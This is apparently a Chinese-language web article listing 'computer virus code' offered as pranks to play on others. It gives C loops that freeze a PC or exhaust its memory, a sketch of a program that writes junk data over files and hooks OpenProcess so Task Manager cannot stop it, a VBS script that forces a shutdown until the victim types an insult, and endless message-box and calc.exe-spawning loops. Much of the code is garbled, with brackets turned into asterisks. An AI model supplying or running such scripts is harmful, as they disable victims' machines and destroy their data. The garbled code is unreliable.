有哪些計算機病毒程式碼

　　計算機病毒也是要生成的，那麼計算機病毒程式碼有些什麼呢?下面是小編收集整理的，希望對大家有幫助~~

　　計算機病毒程式碼介紹一：

　　void main******

　　{

　　while***1***

　　{}

　　}//死迴圈，電腦用不了

　　或者這樣

　　void main******

　　{

　　while***1***

　　{

　　char *a=new char***1024***;

　　}

　　}//吃光你的記憶體

　　還能這樣

　　#include

　　#include

　　void main******

　　{

　　..........//迴圈查詢檔案寫入垃圾資料，省略若干程式碼

　　}

　　最好HOOK openprocess這個東東讓工作管理員都結束不掉

　　想象力是無限的，看你怎麼玩。

　　計算機病毒程式碼介紹二：

　　給你個惡搞的玩on error resume next

　　dim WSHshellA

　　set WSHshellA = wscript.createobject***"wscript.shell"***

　　WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""說我是豬，不說我是豬就一分鐘關你機，不信，試試···"" ",0 ,true

　　dim a

　　do while***a <> "我是豬"***

　　a = inputbox ***"說我是豬,就不關機，快撒，說 ""我是豬"" ","說不說","不說",8000,7000***

　　msgbox chr***13*** + chr***13*** + chr***13*** + a,0,"MsgBox"

　　loop

　　msgbox chr***13*** + chr***13*** + chr***13*** + "早說就行了嘛"

　　dim WSHshell

　　set WSHshell = wscript.createobject***"wscript.shell"***

　　WSHshell.run "cmd.exe /c shutdown -a",0 ,true

　　msgbox chr***13*** + chr***13*** + chr***13*** + "哈哈哈哈，真過癮"

　　計算機病毒程式碼介紹三：

　　最簡單的一個電腦病毒

　　1.VBS版本：

　　開啟記事本，輸入以下程式碼：

　　Do Until 1=2

　　Wscript.echo "煩死你!"

　　Loop

　　儲存為1.VBS，執行後不斷出現"煩死你"的對話方塊。

　　2.VB6版本：

　　開啟Visual Basic 6.0，雙擊窗體，輸入以下程式碼：

　　Private Sub Form_Load******

　　Do Until 1=2

　　Me.Hide

　　Me.Show

　　Shell "calc.exe"

　　Loop

　　End Sub 儲存後編譯為EXE檔案，執行後馬上宕機。